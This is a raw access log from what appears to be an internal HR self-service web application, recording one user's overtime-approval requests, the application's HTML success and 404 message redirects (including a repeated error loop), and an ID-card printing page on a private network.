/eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132686%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132686&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:23:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:23:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:11:23:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:23:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 192.168.11.60 - - [02/Dec/2025:11:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 33325 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 33325 192.168.11.60 - - [02/Dec/2025:11:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49943 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:24:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49943 192.168.11.60 - - [02/Dec/2025:11:24:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 58265 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:24:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 58265 192.168.11.60 - - [02/Dec/2025:11:24:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 978137 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:24:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 978137 192.168.11.60 - - [02/Dec/2025:11:25:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:25:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:25:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:25:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:11:25:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132687%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132687&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:25:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132687%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132687&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:25:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:25:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.146 - - [02/Dec/2025:11:27:19 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:19 +0800] "GET 